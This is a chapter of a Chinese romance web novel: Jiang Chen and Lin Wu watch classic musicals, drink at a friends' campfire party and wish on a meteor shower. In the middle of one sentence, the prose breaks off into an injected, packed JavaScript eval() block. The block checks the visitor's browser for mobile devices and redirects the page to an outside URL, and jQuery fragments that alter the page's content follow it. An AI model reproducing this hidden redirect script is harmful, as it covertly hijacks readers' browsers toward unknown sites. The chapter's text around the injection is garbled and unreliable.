14. 尘雾

作品:《尘雾

    夜色渐凉,暮色低垂。仔细听来,喧闹的夜晚,除了熙攘的人声,还夹杂着大自然的天籁之音。


    江尘收到陈望洲的微信,把播放到一半的电影暂停,他笑着问林雾还要接着看完吗。


    林雾嘴唇微阖,摇摇头说别让大家等他们两个,她心里承受不起的。其实她心里有点儿遗憾,还没和他看到这场电影最经典的一部分。


    江尘笑着起身去关电影,他没说其实他们出去与不出去,外面其实并不会受到什么实质上的影响。


    刚刚江尘确实是打算带着林雾回房间先休息一会儿的,他估计着今晚要闹到挺晚了,怕她身体吃不消。


    可不知道怎么回事,两人三两句话聊到了音乐剧歌舞片《Chicago》,林雾说这部片子是她真正意义上第一次接触歌舞片,看电影的过程中整个人都处在极为震惊的状态。


    “我没想到电影还能这么拍,而且这部电影蒙太奇的手法用的太好了。大一我在电影赏析课上看到这部电影,真觉得超级震撼,尤其是‘狱中女人的探戈舞’,狂野又性感。”林雾细眉微蹙着跟他说,看表情好像是在回味这部电影。


    “因为这部剧爱上了这种类型的电影?”江尘问她。


    林雾点头,“这部电影也让我对jazzage有了些了解。”


    “纸醉金迷的爵士时代?”江尘说。


    林雾点头,“对,纸醉金迷,娱乐至死。”


    她偏头往窗外看去,窗外树影摇曳,只能看见外面点点光亮,看不清外面的人在干什么,隐约能听见吆喝的拼酒声。


    林雾总觉得,外面这些人也只能用“纸醉金迷”来形容了。


    “你说在那个只认金钱的社会,所有的道德伦理、甚至法制制度都不重要了吗?有罪的人也能利用‘罪’本身量身打造一个剧本然后受人追捧?“


    江尘发现她思考起来问题喜欢抿唇,脸颊挂着淡淡的酒窝。


    他暗暗点头,“人所处的环境会影响到人本身的,有时候改变不了环境,便也只能适应环境。”


    “即使知道不对,或者自己不喜欢,也要适应吗?”她的思维越发偏颇,甚至已经就这个话题远离了电影本身。


    江尘眉间的愁绪渐浓,他悲观地引用苏轼《赤壁赋》中的话回她:“寄蜉蝣于天地,渺沧海之一粟。”


    很久之后,林雾才明白江尘说这些话背后的身不由己。


    江尘抬眼,林雾静静地看着他,他却坦然露出个笑容,回避掉这个话题,“要不然看部电影?”


    “看什么?”


    “《Chicago》?”


    林雾叹口气,“这部电影不符合今晚的氛围。”今晚至少是浪漫的。


    他没问她今晚是什么氛围,只是说让她挑一部电影。


    林雾纠结许久,说:“《Singin’intheRain》吧。”


    于是两人拉上窗帘,窝在沙发上看起了电影。


    说来也是奇怪,屋内灯光昏黄暧昧,投影仪上光影斑驳,老片的画质自带朦胧模糊感。孤男寡女处在这样的氛围中,难免心里生出别的想法。


    可他和她没有这些,他们之间只有极致的纯洁,像是多年不见的老友窝坐在一起看场电影叙叙旧。


    江尘侧眸看她,睫毛在她的眼底投出扇形阴影,她支着下巴,将自己的心思完完全全投入在电影中。


    多年后,江尘回忆起这夜,总说这样的她让他痴迷,他眷恋她身上这种安稳感,让他觉得踏实。


    电影看了将近一半,陈望洲就发微信叫他们出去,他们只好终止了这场电影。


    林雾打了两个瞌睡,一抬眼,就撞进了他温柔的眸子中。她有些不好意思,立刻回避视线。


    “看电影的时候倒是没见你犯困。”江尘轻声调侃。


    林雾揉揉眼睛,“后知后觉。”


    他们绕过那狭长的长廊,走到户外。户外被营造出一副野营的架势,帐篷,篝火,啤酒饮料,电影幕布……


    林雾吸吸鼻子,还闻到了烧烤味儿。


    江尘把她带进人群,又跟着几个林雾没见过的人介绍了她,然后把她带到了程落和赵霁月身旁。


    赵霁月摇晃着红酒杯的动作一顿,立刻往程落身旁挪了挪,“江尘哥,你们坐。”


    江尘看了眼林雾,林雾便挨着赵霁月坐下了。


    赵霁月抬身又拿了个杯子,“林雾姐,喝点酒吗?”


    林雾偏头看了眼江尘,他伏在她耳边轻声说:“能喝就喝,不能喝咱就不喝。”


    林雾其实是想喝两杯酒的,这氛围,不喝酒有些不搭。可她自知酒量不佳,又怕喝醉,即使她信任江尘,可她在一个完全陌生的环境,还是没有安全感。


    江尘垂眸,“不想喝就不喝,在我这儿,你自在就好。”


    林雾摇头小声对他说:“我酒量不太好,就怕喝醉了。”


    江尘明白了,她这是想喝但又不敢喝,便问:“你几杯的量?”


    “四五杯。”


    林雾想起自己高考结束后,父亲林志坚特意在饭桌上给她倒了酒,林志坚说试试她的酒量,免得以后出去在这事儿上吃亏。


    江尘滚烫的呼吸打在她的耳畔,他说:“想喝就喝,我看着你,总不至于让你喝醉了。”


    就这样,林雾接过了赵霁月的酒杯,她轻抿了一口价格不菲的红酒,酒气香醇,一口入肚,身上好像也暖了起来。


    人一生中忘乎所有、恣意纵情的时刻没有几个,对林雾,这次算是一次。


    身前的篝火劈里啪啦作响,她捏着酒杯,抬头望天,耿耿星河,也不知流星雨划破天际会是怎样一番景象。


    在她的期待与幻想片刻,江尘兀然起身,她不自觉视线紧随,发现他走到电影幕布前,和放电影的红头发的那人不知说了些什么便折返回来。


    过了一会儿,电影放映,音乐声划破长夜。


    林雾惊喜地发现,电影放的是《Singin’intheRain》。她立刻去看江尘,他眉眼间的笑容荡漾开,小声对她说:“接着看。”


    话音刚落,他又起身,林雾盯着幕布,眼看着电影的进度条被拉到他们刚刚在卧室看到的地方。


    她这才明白他说的“接着看”是什么意思。


    江尘刚回来,低眉对她说:“毕竟singingintherain这部分还没看到。”


    林雾的头发被风吹起,她撩了下头发,嘴角挂着浅笑。


    可陈望洲不乐意了,“不是江尘,你有病吧,谁家好人看电影从一半开始看?”


    江尘缄默不言,默默给他满上酒,“敬你一杯。”


    陈望洲也不是真想看电影,举着杯子在江尘的杯壁上碰了一下,然后一饮而尽。他放下杯子,意味深长地看了林雾一眼,也不再纠结电影这事儿了,打趣着对江尘说:“今儿我是沾了林雾的光,让你江大少敬了一杯酒。”


    江尘举杯,一饮而尽。


    林雾坐在一旁看着江尘滚动的喉结,思


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735907|157313||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    绪飘远了。


    突然,赵霁月站起身来,“那我也得敬江尘哥一杯,谢谢江尘哥去年帮我写期末作业。”


    “月月,这你也好意思说。”陈望洲笑着逗她,可下一秒,他就急眼了,因为程落也举着酒杯要敬江尘。


    陈望洲夺过程落的酒杯,“你这丫头,这两天是叛逆上头了吧,还要喝酒。”


    “三哥,你这人怎么不讲理,你像落儿这么大的时候玩的可比这还疯呢?”赵霁月暗戳戳地控诉。


    陈望洲被堵得哑口无言。


    江尘重新给程落倒了杯饮料,“落儿,成年后再喝。”


    程落乖乖点头,扭过身去,也不再理会陈望洲。好像除了会对陈望洲耍小脾气,程落对别人都非常温和。


    江尘喝完赵霁月敬的这杯酒,便坐好看电影。


    林雾思虑再三,给江尘满了酒,江尘失笑,“我好久没喝过这么多酒了。”


    林雾抿唇,满脸虔诚地举着酒杯,说:“谢谢你。”


    “谢我什么?”


    林雾没详细列举,有些模糊不清地说:“总之,就是谢谢你。”


    那杯酒她喝得急,放下杯子连连咳嗽,他轻轻给她拍着后背,说:“这酒烈,不能喝得太急。”


    林雾耳根红的彻底,捂着嘴看电影。


    那晚流星雨等到了后半夜,天凉,林雾连连打喷嚏,江尘又特意给她拿了件外套给她披在身上,而她倚在那昏昏欲睡。


    她趁着还清醒的时候叮嘱江尘,流星雨来了一定要叫醒她,她还要对着流星雨许愿呢。


    林雾缩成一小团,微微一动,身上披着的衣服就跟着往下掉。江尘轻手轻脚帮她把衣服盖好,低头看了眼表,又抬头环望着四周。陈望洲他们依旧在吃喝玩乐,人一个比一个精神,一个比一个兴奋。对于他们,日夜颠倒的阴间作息不足为奇。


    江尘又看了眼林雾,她小脸清纯,昏黄的火光打在她的脸上。她明明与周围格格不入,是他要把她带进他的世界的。


    江尘一直都清楚,他虽然拼尽全力想和江家撇清关系,可他还是不可避免被江家的光辉照到。


    对于这个圈子,他厌恶,但又有些痴迷。


    他做不到完全脱离这个圈子,也做不到像这个圈子里的大多数人一样浪荡随性。


    这也是他最为悲哀的地方。


    沉思间,有人高喊:“快看,流星雨来了。”


    江尘都没抬头去看流星雨是否真的来了,立刻把林雾叫醒。他珍惜一分一秒,他怕她错过这场流星雨。


    林雾恍然惊醒,抬眼,流星雨划破天际,一簇一簇,璀璨着陨落……


    江尘看见林雾虔诚地双手合十闭上眼。


    林雾许愿:希望妈妈病情稳住,希望爸爸身体健康,希望我们一家人快快乐乐在一起。


    许完愿,她睁眼,眸中水光潋滟。


    那天的御夫座流星雨比往年都热烈,也都短暂,一场繁华过后,夜空又恢复了最初的那份寂静……


    林雾打了个喷嚏,扭头看江尘,心中有种难以名状的堵塞感。原来在见过繁华之后,就再也无法忍受黯淡的寂寞。


    而江尘,贴在她的耳畔,用很小很小的音量对她说:“Youcanlikethelifeyouareliving,youcanlivethelifeyoulike。”


    那是他对着流星雨许下的愿望。


    林雾知道,这是《Chicago》中很经典的一句台词。